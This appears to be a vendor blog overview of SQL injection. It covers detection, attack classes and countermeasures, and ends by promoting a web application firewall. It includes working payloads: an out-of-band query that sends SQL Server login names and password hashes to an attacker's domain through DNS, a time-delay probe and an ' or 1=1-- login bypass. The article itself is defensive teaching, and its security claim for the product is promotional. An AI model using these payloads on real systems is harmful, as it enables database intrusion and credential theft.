From Blind to Targeted Attacks

A SQL Injection overview

A SQL injection attack exploits the fact that in a typical dynamic Web site or application layer (ie. ASP.NET, PHP, etc) ultimately has access to a database layer. By using the application’s own code to get at the database, SQL injection attacks can do almost unlimited mischief: steal or corrupt sensitive data, host malware on the site, damage or even seize control of the entire application. This article provides a short overview of SQL injection and how it can be damaging to your Web applications.

There are two ways an attacker can identify SQL injection vulnerabilities:

Error messages: The first method used to identify and exploit SQL injection is through information provided by errors generated by the Web application during initial probing. These HTTP 500-range errors if not suppressed will often include the text of the offending SQL statement and/or the details of why it failed to execute properly. Such information is very helpful when crafting progressively more effective exploits because it helps the attacker discern database schema and other valuable clues about how the app is put together.

Blind Injection: Blind SQL injection is identical to normal SQL Injection except that when an attacker attempts to exploit an application, rather then getting a useful error message, they get a generic page specified by the developer instead. This makes exploiting a potential SQL Injection attack more difficult but not impossible. An attacker can still steal data by asking a series of True and False questions through SQL statements.

SQL injection is broken up into 3 classes:

Inband - data is extracted using the same channel that is used to inject the SQL code. This is the most straightforward kind of attack, in which the retrieved data is presented directly in the application web page

Example:

Input:
http://[site]/page.asp?id=1 or 1=convert(int,(USER))–

Output:
Syntax error converting the nvarchar value ‘[j0e]‘ to a column of data type int.

Out-of-band - data is retrieved using a different channel (e.g.: an email with the results of the query is generated and sent to the tester)

Example:

http://[site]/page.asp?id=1;declare @host varchar(800); select @host = name + ‘-’ +master.sys.fn_varbintohexstr(password_hash) + ‘.2.pwn3dbyj0e.com’ fromsys.sql_logins; exec(’xp_fileexist ”\\’ + @host + ‘\c$\boot.ini”’);–

Inferential - no actual data is transferred - rather, a difference in the way an application behaves can allow an attacker to infer the value of the data.

Example:

http://[site]/page.asp?id=1;if+not(select+system_user)+<>+’sa’+waitfor+delay+’0:0:5′–

(ask it if it’s running as ’sa’)

*source - http://www.defcon.org/images/defcon-17/dc-17-presentations/defcon-17-joseph_mccray-adv_sql_injection.pdf

SQL Injection attacks put you at great risk for:

• Unauthorized changes or deletion of sensitive business information
• Theft of customer information (ie social security numbers, addresses, and credit card numbers)
• Financial and Intellectual property loss
• Legal liability and PCI non-compliance

How to test if your Web site is vulnerable to attack

One of the simplest ways, among many, to test your Web site would be to input a break into the underlying code and insert a SQL expression that evaluates to True into the login or password form fields, or URL.

Example:

• Login: hi’ or 1=1–  /  Password: hi’ or 1=1–
  (hi’) breaks in the string (1=1) injection code (–) comment
• http://mysite/index.asp?id=hi’ or 1=1–
  In the query string of a request that looks like it is passing parameters back to the database

This is just the tip of the iceberg, for more robust testing procedures OWASP provides an extensive guide at:

http://www.owasp.org/index.php/Testing_for_SQL_Injection_(OWASP-DV-005)

How to protect your Web server

There are a number of possible countermeasures these include:

• using a list of acceptable characters to constrain input
• using parameterized SQL for data access
• using a least privileged account that has restricted permissions in the database
• using stored procedures with parameterized SQL
  (recommended approach because SQL parameters are type safe)

A complete step-by-step guide to protecting against SQL injection can be found at:

http://msdn.microsoft.com/en-us/library/ff648339.aspx

All of the above countermeasures may require changes to existing code as well as careful maintenance to make sure best practices are being followed.  This might not always be practical and, even when it is, might not catch every vulnerabilty. A Web Application Firewall, such as Port80’s ServerDefender VP, can protect your database by scrutinizing incoming data and applying a set of strict Web application security controls. An effective Web Application Firewall becomes the gatekeeper to your Web application so you can rest assured that hackers cannot gain entry and wreak havoc with your most valuable Web-based assets.

/ P80